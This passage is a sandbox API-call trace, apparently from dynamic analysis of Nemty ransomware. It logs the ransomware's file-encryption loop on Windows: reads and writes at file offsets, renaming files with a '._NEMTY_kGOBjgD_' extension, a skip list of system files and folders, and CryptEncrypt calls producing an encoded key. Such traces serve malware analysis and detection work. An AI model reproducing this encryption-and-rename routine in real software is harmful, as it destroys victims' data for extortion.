[0090.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.665] CloseHandle (hObject=0xffffffff) returned 0 [0090.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0090.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0090.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403f0 [0090.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0090.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.665] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0090.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.666] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2=".") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="..") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="...") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="windows") returned -1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="rsa") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="NTDETECT.COM") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="ntldr") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="MSDOS.SYS") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="IO.SYS") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="boot.ini") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="boot.ini") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="ntuser.dat") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="desktop.ini") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="CONFIG.SYS") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="RECYCLER") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="bootmgr") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="programdata") returned 1 [0090.666] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="appdata") returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0090.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0090.667] Sleep (dwMilliseconds=0x5) [0090.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9b25d90, dwHighDateTime=0x1d561e7)) [0090.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9b25d90, dwHighDateTime=0x1d561e7)) [0090.681] GetLastError () returned 0x5 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.681] GetLastError () returned 0x5 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.681] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.681] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.681] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0090.681] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="hzC6epFvCaDJjX+UgxxrIWW3467HkRTJTn7xUO1jFLeS1Oca9K0tZJIDWTNc3vNd\r\nGqyeTB7bmRJSyT/qhd5LDsSKu6nWb3dh76+jydvRLbtMzT+DwOISKiQSGrSzj1E2\r\nxrRjrcJHUGPFiiW8DyCRuYt/m3uqggS6ODhXfY47+KHzerpSABZNFyjvl31RKdoi\r\nYoeH6AJCyunz+TV+lmST5LVugGAtoMbrBTxZhld4JY3sUTP0cm4R1G7vB57hm79L\r\n24uBiU9jbAm1S8ky+XTEK87FXrB+pgeAsPDbmkIY3YMAzemJB3nxDUcIJyAu+9fR\r\ntfA6kbNPqloPibM5hbXbuA==\r\n", pcchString=0x653e91c) returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0090.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0090.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.681] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.681] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 